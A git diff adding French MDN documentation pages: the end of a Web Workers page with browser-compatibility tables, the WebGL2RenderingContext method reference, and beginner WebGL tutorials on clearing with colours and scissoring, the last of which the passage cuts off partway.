+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{jsxref("Objets_globaux/Array", "Array")}}, {{jsxref("Objets_globaux/Date", "Date")}}, {{jsxref("Objets_globaux/Math", "Math")}} et {{jsxref("Objets_globaux/String", "String")}}</li>
+ <li>{{domxref("WindowTimers.setTimeout")}} et {{domxref("WindowTimers.setInterval")}}</li>
+</ul>
+
+<p>En revanche, un <em>worker</em> ne pourra pas directement manipuler la page parente et notamment le DOM et les objets de la page. Il faudra effectuer ce traitement indirectement, via des messages.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour avoir une liste exhaustive des fonctionnalités disponibles pour les <em>workers</em>, voir  <a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">les fonctions et interfaces disponibles pour les <em>workers</em></a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>10.6<sup>[1]</sup></td>
+   <td>4<sup>[2][5]</sup></td>
+  </tr>
+  <tr>
+   <td><em>Workers</em> partagés</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>5<br>
+    {{CompatNo}} 6.1<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>Echange de données via le clonage structuré</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Echange de données via les objets transférables</td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Variable globale {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[3]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>4<sup>[1]</sup></td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5<sup>[1]</sup></td>
+   <td>5.1<sup>[2][5]</sup></td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatNo}}</td>
+   <td>4<sup>[1]</sup></td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Echange de données via le clonage structuré</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Echange de données via les objets transférables</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome et Opera provoquent une erreur "<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'.</code>" lorsqu'on souhaite accéder au <em>worker</em> en local. Il faut un domaine <em>réel</em> pour le faire.</p>
+
+<p>[2] Avec Safari 7.1.2, on peut appeler <code>console.log</code> depuis un <em>worker</em> mais cela n'affichera rien dans la console. Les versions antérieures ne permettent pas d'appeler <code>console.log</code> depuis un <em>worker</em>.</p>
+
+<p>[3] Cette fonctionnalité est préfixée : <code>webkitURL</code>.</p>
+
+<p>[4] Safari a <a href="https://bugs.webkit.org/show_bug.cgi?id=116359">retiré la prise en charge de SharedWorker</a>.</p>
+
+<p>[5] Avec Safari v.12+ (iOS &amp; MacOS), les <em>web workers</em> sont uniquement démarrés après une interaction utilisateur (un clic par exemple). Les <em>workers</em> pourront être créés mais ne seront pas exécutés tant qu'ils n'y aura pas eu d'interaction.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Worker">L'interface <code>Worker</code></a></li>
+ <li><a href="/fr/docs/Web/API/SharedWorker">L'interface <code>SharedWorker</code></a></li>
+ <li><a href="/fr/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Les fonctions disponibles dans les <em>workers</em></a></li>
+</ul>
diff --git a/files/fr/web/api/webgl2renderingcontext/index.html b/files/fr/web/api/webgl2renderingcontext/index.html
new file mode 100644
index 0000000000..a22f6e72b9
--- /dev/null
+++ b/files/fr/web/api/webgl2renderingcontext/index.html
@@ -0,0 +1,280 @@
+---
+title: WebGL2RenderingContext
+slug: Web/API/WebGL2RenderingContext
+tags:
+  - API
+  - Experimental
+  - Reference
+  - WebGL
+  - WebGL2
+translation_of: Web/API/WebGL2RenderingContext
+---
+<div>{{APIRef("WebGL")}} {{SeeCompatTable}}</div>
+
+<p>L'interface <strong>WebGL2RenderingContext</strong> fournit le contexte de rendu OpenGL ES 3.0 pour la surface de dessin d'un élément HTML {{HTMLElement("canvas")}}.</p>
+
+<p>Pour obtenir un objet de cette interface, appelez {{domxref ("HTMLCanvasElement.getContext()", "getContext()")}} sur un élément <code>&lt;canvas&gt;</code>, en fournissant "webgl2" comme argument :</p>
+
+<pre class="brush: js">var canevas = document.getElementById('monCanevas');
+var gl = canevas.getContext('webgl2');
+</pre>
+
+<div class="note">
+<p>WebGL 2 est une extension de WebGL 1. L'interface <code>WebGL2RenderingContext</code> implémente tous les membres de l'interface {{domxref("WebGLRenderingContext")}}. Certaines méthodes du contexte WebGL 1 peuvent accepter des valeurs supplémentaires lorsqu'elles sont utilisées dans un contexte WebGL 2. Vous trouverez cette information sur les pages de référence WebGL 1.</p>
+</div>
+
+<p>Le <a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial">didacticiel WebGL</a> contient plus d'informations, d'exemples et de ressources sur la façon de démarrer avec WebGL.</p>
+
+<h2 id="Constantes">Constantes</h2>
+
+<p>Voir la page des <a href="/fr-FR/docs/Web/API/WebGL_API/Constants">constantes WebGL</a>.</p>
+
+<h2 id="Informations_d'état">Informations d'état</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.getIndexedParameter()")}}</dt>
+ <dd>Retourne la valeur indexée pour la <code>cible</code> donnée.</dd>
+</dl>
+
+<h2 id="Tampons">Tampons</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.bufferData()")}}</dt>
+ <dd>Initialise et crée le magasin de données de l'objet tampon.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.bufferSubData()")}}</dt>
+ <dd>Met à jour un sous-ensemble d'un magasin de données d'un objet tampon.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.copyBufferSubData()")}}</dt>
+ <dd>Copie une partie des données d'un tampon vers un autre tampon.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getBufferSubData()")}}</dt>
+ <dd>Lit les données d'un tampon et les écrit dans un {{jsxref ("ArrayBuffer")}} ou un {{jsxref ("SharedArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Tampons_d'image">Tampons d'image</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.blitFramebuffer()")}}</dt>
+ <dd>Transfère un bloc de pixels du tampon d'image lu vers le tampon d'image de dessin.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.framebufferTextureLayer()")}}</dt>
+ <dd>Attache une seule couche de texture à un tampon d'image.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.invalidateFramebuffer()")}}</dt>
+ <dd>Invalide le contenu des éléments joints dans un tampon d'image.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.invalidateSubFramebuffer()")}}</dt>
+ <dd>Invalide le contenu des éléments joints dans un tampon d'image.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.readBuffer()")}}</dt>
+ <dd>Sélectionne un tampon de couleur comme source pour les pixels.</dd>
+</dl>
+
+<h2 id="Tampons_de_rendu">Tampons de rendu</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.getInternalformatParameter()")}}</dt>
+ <dd>Retourne des informations sur le support, dépendant de l'implémentation, des formats internes.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.renderbufferStorageMultisample()")}}</dt>
+ <dd>Crée et initialise le magasin de données d'un objet tampon de rendu et permet de d'indiquer le nombre d'échantillons à utiliser.</dd>
+</dl>
+
+<h2 id="Textures">Textures</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.texStorage2D()")}}</dt>
+ <dd>Spécifie tous les niveaux d'un stockage de texture bidimensionnelle.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.texStorage3D()")}}</dt>
+ <dd>Spécifie tous les niveaux d'une texture tridimensionnelle ou d'une texture de tableau bidimensionnelle.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.texImage3D()")}}</dt>
+ <dd>Spécifie une image de texture tridimensionnelle.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.texSubImage3D()")}}</dt>
+ <dd>Spécifie un sous-rectangle de la texture 3D en cours.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.copyTexSubImage3D()")}}</dt>
+ <dd>Copie des pixels du tampon WebGLFrame en cours dans une sous-image de texture 3D existante.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.compressedTexImage3D()")}}</dt>
+ <dd>Spécifie une image de texture tridimensionnelle dans un format compressé.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.compressedTexSubImage3D()")}}</dt>
+ <dd>Spécifie un sous-rectangle tridimensionnel pour une image de texture dans un format compressé.</dd>
+</dl>
+
+<h2 id="Programmes_et_shaders">Programmes et shaders</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.getFragDataLocation()")}}</dt>
+ <dd>Retourne la liaison des numéros de couleur aux variables de sortie varying définies par l'utilisateur.</dd>
+</dl>
+
+<h2 id="Uniforms_et_attributs">Uniforms et attributs</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.uniform()", "WebGL2RenderingContext.uniform[1234][uif][v]()")}}</dt>
+ <dd>Méthodes spécifiant les valeurs des variables uniform.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.uniformMatrix()", "WebGL2RenderingContext.uniformMatrix[234]x[234]fv()")}}</dt>
+ <dd>Méthodes spécifiant les valeurs matricielles pour les variables uniform.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.vertexAttribI()", "WebGL2RenderingContext.vertexAttribI4[u]i[v]()")}}</dt>
+ <dd>Méthodes spécifiant les valeurs entières des attributs de sommet génériques.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.vertexAttribIPointer()")}}</dt>
+ <dd>Spécifie les formats et les emplacements des données entières des attributs de sommet dans un tableau d'attributs de sommet.</dd>
+</dl>
+
+<h2 id="Tampons_de_dessin">Tampons de dessin</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}}</dt>
+ <dd>Modifie la vitesse à laquelle les attributs de sommet génériques progressent lors du rendu de plusieurs instances de primitives avec {{domxref ("WebGL2RenderingContext.drawArraysInstanced()", "gl.drawArraysInstanced()")}} et {{domxref("WebGL2RenderingContext.drawElementsInstanced()" , "gl.drawElementsInstanced()")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.drawArraysInstanced()")}}</dt>
+ <dd>Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances de la plage d'éléments.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.drawElementsInstanced()")}}</dt>
+ <dd>Affiche des primitives à partir des données d'un tableau. En outre, elle peut exécuter plusieurs instances d'un ensemble d'éléments.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.drawRangeElements()")}}</dt>
+ <dd>Affiche des primitives à partir des données d'un tableau dans la plage donnée.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.drawBuffers()")}}</dt>
+ <dd>Spécifie une liste de tampons de couleur dans lesquels dessiner.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.clearBuffer()", "WebGL2RenderingContext.clearBuffer[fiuv]()")}}</dt>
+ <dd>Efface les tampons du tampon d'image actuellement lié.</dd>
+</dl>
+
+<h2 id="Objets_requêtes">Objets requêtes</h2>
+
+<p>Méthodes pour travailler avec les objets {{domxref("WebGLQuery")}}.</p>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.createQuery()")}}</dt>
+ <dd>Crée un nouvel objet {{domxref("WebGLQuery")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.deleteQuery()")}}</dt>
+ <dd>Supprime l'objet {{domxref("WebGLQuery")}} donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.isQuery()")}}</dt>
+ <dd>Retourne <code>true</code> si l'objet donné est un objet {{domxref("WebGLQuery")}} valide.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.beginQuery()")}}</dt>
+ <dd>Commence une requête asynchrone.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.endQuery()")}}</dt>
+ <dd>Marque la fin d'une requête asynchrone.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getQuery()")}}</dt>
+ <dd>Retourne un objet {{domxref("WebGLQuery")}} pour la cible donnée.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getQueryParameter()")}}</dt>
+ <dd>Retourne des informations sur une requête.</dd>
+</dl>
+
+<h2 id="Objets_échantilloneurs">Objets échantilloneurs</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.createSampler()")}}</dt>
+ <dd>Crée un nouvel objet {{domxref("WebGLSampler")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.deleteSampler()")}}</dt>
+ <dd>Supprime l'objet {{domxref("WebGLSampler")}} donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.bindSampler()")}}</dt>
+ <dd>Lie le {{domxref("WebGLSampler")}} donné à une unité de texture.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.isSampler()")}}</dt>
+ <dd>Retourne <code>true</code> si l'objet donné est un objet {{domxref("WebGLSampler")}} valide.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.samplerParameter()", "WebGL2RenderingContext.samplerParameter[if]()")}}</dt>
+ <dd>Définit les paramètres de l'échantillonneur.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getSamplerParameter()")}}</dt>
+ <dd>Retourne les informations de paramètres de l'échantillonneur.</dd>
+</dl>
+
+<h2 id="Objets_sync">Objets sync</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.fenceSync()")}}</dt>
+ <dd>Crée un nouvel objet {{domxref("WebGLSync")}} et l'insère dans le flux de commandes GL.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.isSync()")}}</dt>
+ <dd>Retourne <code>true</code> si l'objet transmis est un objet {{domxref("WebGLSync")}} valide.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.deleteSync()")}}</dt>
+ <dd>Supprime l'objet {{domxref("WebGLSync")}} donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.clientWaitSync()")}}</dt>
+ <dd>
+ <p>Bloque et attend qu'un objet {{domxref ("WebGLSync")}} reçoive un signal ou que l'expiration du délai donné soit reçue.</p>
+ </dd>
+ <dt>{{domxref("WebGL2RenderingContext.waitSync()")}}</dt>
+ <dd>Retourne immédiatement, mais attend le serveur GL jusqu'à ce que l'objet {{domxref("WebGLSync")}} donné reçoive un signal.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getSyncParameter()")}}</dt>
+ <dd>Retourne les informations de paramètres d'un objet {{domxref("WebGLSync")}}.</dd>
+</dl>
+
+<h2 id="Retour_de_transformations">Retour de transformations</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.createTransformFeedback()")}}</dt>
+ <dd>Crée et initialise les objets {{domxref("WebGLTransformFeedback")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.deleteTransformFeedback()")}}</dt>
+ <dd>Supprime l'objet {{domxref ("WebGLTransformFeedback")}} donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.isTransformFeedback()")}}</dt>
+ <dd>Retourne <code>true</code> si l'objet transmis est un objet {{domxref("WebGLTransformFeedback")}} valide.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.bindTransformFeedback()")}}</dt>
+ <dd>Lie l'objet {{domxref("WebGLTransformFeedback")}} transmis à l'état GL en cours.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.beginTransformFeedback()")}}</dt>
+ <dd>Démarre une opération de retour de transformations.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.endTransformFeedback()")}}</dt>
+ <dd>Termine une opération de retour de transformations.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.transformFeedbackVaryings()")}}</dt>
+ <dd>Indique les valeurs à enregistrer dans les tampons {{domxref("WebGLTransformFeedback")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getTransformFeedbackVarying()")}}</dt>
+ <dd>Retourne des informations sur les variables varying à partir des tampons {{domxref("WebGLTransformFeedback")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.pauseTransformFeedback()")}}</dt>
+ <dd>Suspend une opération de retour de transformations.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.resumeTransformFeedback()")}}</dt>
+ <dd>Reprend une opération de retour de transformations.</dd>
+</dl>
+
+<h2 id="Objets_tampons_uniforms">Objets tampons uniforms</h2>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.bindBufferBase()")}}</dt>
+ <dd>Lie le {{domxref("WebGLBuffer")}} donné au point de liaison donné (<code>cible</code>) à l'<code>indice</code> donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.bindBufferRange()")}}</dt>
+ <dd>Lie une plage du {{domxref("WebGLBuffer")}} donné au point de liaison donné (<code>cible</code>) à l'<code>indice</code> donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getUniformIndices()")}}</dt>
+ <dd>
+ <p>Récupère les indices d'un certain nombre d'uniforms dans un {{domxref("WebGLProgram")}}.</p>
+ </dd>
+ <dt>{{domxref("WebGL2RenderingContext.getActiveUniforms()")}}</dt>
+ <dd>Récupère des informations sur les uniforms actifs dans un {{domxref("WebGLProgram")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getUniformBlockIndex()")}}</dt>
+ <dd>Récupère l'indice d'un bloc uniform dans un {{domxref("WebGLProgram")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getActiveUniformBlockParameter()")}}</dt>
+ <dd>Récupère des informations d'un bloc uniform actif dans un {{domxref("WebGLProgram")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.getActiveUniformBlockName()")}}</dt>
+ <dd>Récupère le nom du bloc uniform actif à l'indice donné dans un {{domxref("WebGLProgram")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.uniformBlockBinding()")}}</dt>
+ <dd>Affecte des points de liaison aux blocs uniforms actifs.</dd>
+</dl>
+
+<h2 id="Objets_de_tableaux_de_sommets">Objets de tableaux de sommets</h2>
+
+<p>Méthodes pour travailler avec les objets {{domxref("WebGLVertexArrayObject")}} (VAO).</p>
+
+<dl>
+ <dt>{{domxref("WebGL2RenderingContext.createVertexArray()")}}</dt>
+ <dd>Crée un nouveau {{domxref("WebGLVertexArrayObject")}}.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.deleteVertexArray()")}}</dt>
+ <dd>Supprime le {{domxref("WebGLVertexArrayObject")}} donné.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.isVertexArray()")}}</dt>
+ <dd>Retourne <code>true</code> si l'objet donné est un {{domxref ("WebGLVertexArrayObject")}} valide.</dd>
+ <dt>{{domxref("WebGL2RenderingContext.bindVertexArray()")}}</dt>
+ <dd>Lie le {{domxref ("WebGLVertexArrayObject")}} donné au tampon.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGL2RenderingContext")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+</ul>
diff --git a/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html b/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html
new file mode 100644
index 0000000000..1d8db41a20
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html
@@ -0,0 +1,100 @@
+---
+title: Appliquer des couleurs
+slug: Web/API/WebGL_API/By_example/Appliquer_des_couleurs
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Clearing_with_colors
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}</p>
+
+<p class="summary">Dans cet article, on voit comment appliquer une couleur unie dans le contexte de rendu.</p>
+
+<p>{{EmbedLiveSample("Appliquer_une_couleur_unie_dans_le_contexte_WebGL",660,300)}}</p>
+
+<h3 id="Appliquer_une_couleur_unie_dans_le_contexte_WebGL">Appliquer une couleur unie dans le contexte WebGL</h3>
+
+<p>Voici l'application la plus simple de {{Glossary("WebGL")}} : appliquer un vert uni dans le {{domxref("WebGLRenderingContext","contexte de rendu")}}. On notera que la feuille de style {{Glossary("CSS")}} définit l'arrière-plan comme étant noir. Ainsi, quand le canevas s'affiche en vert, on sait que {{Glossary("WebGL")}} a fonctionné comme il fallait.</p>
+
+<p>Par ailleurs, vous pouvez remarquer que, pour appliquer une couleur unie sur le tampon (<em>buffer</em>) de dessin, on utilise deux étapes. Tout d'abord, on applique la couleur verte grâce à la méthode {{domxref("WebGLRenderingContext.clearColor()","clearColor()")}}. Cette opération ne modifie que l'état interne de {{Glossary("WebGL")}}, rien n'est peint/affiché pour le moment. Ensuite, on dessine « réellement » avec la méthode {{domxref("WebGLRenderingContext.clear()","clear()")}}. C'est la méthode classique pour dessiner avec WebGL. Il y a seulement quelques méthodes qui « dessinent » (dont <code>clear()</code>), toutes les autres méthodes permettent d'obtenir ou de modifier les variables liées aux états de WebGL (dont la couleur à appliquer).</p>
+
+<p>Il existe de nombreuses options pour modifier les états {{Glossary("WebGL")}}. La couleur à appliquer en est une parmi d'autres.{{Glossary("WebGL")}}/{{Glossary("OpenGL")}} est souvent qualifié d'automate à états. En fait, lorsque vous manipulez ces variables internes, ces « interrupteurs », vous modifiez l'état interne de WebGL, qui modifie à son tour la façon dont la sortie est retranscrite (dans cet exemple, cela correspond à l'étape où les pixels sont passés en vert).</p>
+
+<p>Enfin, vous pouvez voir que les couleurs manipulées en WebGL sont décrites avec le format {{Glossary("RGBA")}}. Ce format décrit quatre composantes numériques pour les intensités respectives des tons rouge (R), vert (<em>green</em> G), bleu (B) et alpha (qui correspond à l'opacité). C'est pour ça que <code>clearColor()</code> prend quatre arguments.</p>
+
+<pre class="brush: html">&lt;p&gt;Un programme WebGL très simple qui affiche une couleur.&lt;/p&gt;
+&lt;!-- Le texte d'un élément canvas est affiché uniquement
+    si canvas n'est pas supporté. --&gt;
+&lt;canvas&gt;Il semblerait que votre navigateur ne supporte pas
+    le canevas HTML5&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+</pre>
+
+<pre class="brush: js">// On exécute tout dans le gestionnaire d'événement
+// correspondant au chargement de la fenêtre. De cette
+// façon, le DOM est complètement chargé et mis en forme
+// avant de le manipuler et d'encombrer la portée globale.
+// On donne un nom au gestionnaire (setupWebGL) afin de
+// pouvoir y faire référence par la suite.
+window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // On fait le ménage : le gestionnaire se supprime lui-
+  // même car il n'a besoin d'être exécuté qu'une fois.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // On fait référence aux éléments du document.
+  var paragraph = document.querySelector("p"),
+    canvas = document.querySelector("canvas");
+
+  // On récupère le contexte de rendu WebGL.
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+
+  // Si cela échoue, on informe l'utilisateur.
+  // Sinon, on initialise la zone de dessin et on
+  // applique une couleur dans le contexte.
+  if (!gl) {
+    paragraph.innerHTML = "Échec de la récupération du "
+      + "contexte WebGL. Votre navigateur peut ne pas "
+      + " supporter WebGL.";
+    return;
+  }
+  paragraph.innerHTML =
+    "Félicitations, votre navigateur supporte WebGL. ";
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  // On définit la couleur qu'on veut appliquer
+  // (ici un vert foncé).
+  gl.clearColor(0.0, 0.5, 0.0, 1.0);
+
+  // Enfin, on applique la couleur dans le contexte. C'est
+  // cette fonction qui « dessine » réellement quelque chose.
+  gl.clear(gl.COLOR_BUFFER_BIT);
+
+}, false);
+</pre>
+
+<p>Le code source de cet exemple est également disponible sur <a href="https://github.com/idofilin/webgl-by-example/tree/master/clearing-with-colors">GitHub</a>.</p>
+
+<div>{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}</div>
diff --git a/files/fr/web/api/webgl_api/by_example/appliquer_des_découpes_simples/index.html b/files/fr/web/api/webgl_api/by_example/appliquer_des_découpes_simples/index.html
new file mode 100644
index 0000000000..3995861e83
--- /dev/null
+++ b/files/fr/web/api/webgl_api/by_example/appliquer_des_découpes_simples/index.html
@@ -0,0 +1,90 @@
+---
+title: Appliquer des découpes simples
+slug: Web/API/WebGL_API/By_example/Appliquer_des_découpes_simples
+tags:
+  - Apprendre
+  - Débutant
+  - Exemple
+  - Graphisme
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/By_example/Basic_scissoring
+---
+<div>{{IncludeSubnav("/fr/Apprendre")}}</div>
+
+<p>{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}</p>
+
+<p class="summary">Dans cet article, on illustre comment dessiner des rectangles et des carrés grâce à des opérations de découpe simple (<em>scissoring</em>).</p>
+
+<p>{{EmbedLiveSample("Appliquer_les_changements_sur_le_buffer_lors_de_la_découpe",660,330)}}</p>
+
+<h3 id="Appliquer_les_changements_sur_le_buffer_lors_de_la_découpe">Appliquer les changements sur le <em>buffer</em> lors de la découpe</h3>
+
+<p>Voici une démonstration simple des opérations appliquées sur le contexte de rendu avec la méthode {{domxref("WebGLRenderingContext.scissor","scissor")}}.</p>
+
+<p>La commande {{domxref("WebGLRenderingContext.clear","clear()")}} permet de dessiner la couleur d'applique (définie à l'aide de {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) sur tous les pixels du tampon (<em>buffer</em>) de dessin. La commande  {{domxref("WebGLRenderingContext.scissor","scissor()")}} permet quant à elle de définir un masque qui permet de ne modifier que les pixels contenus dans un rectangle donné.</p>
+
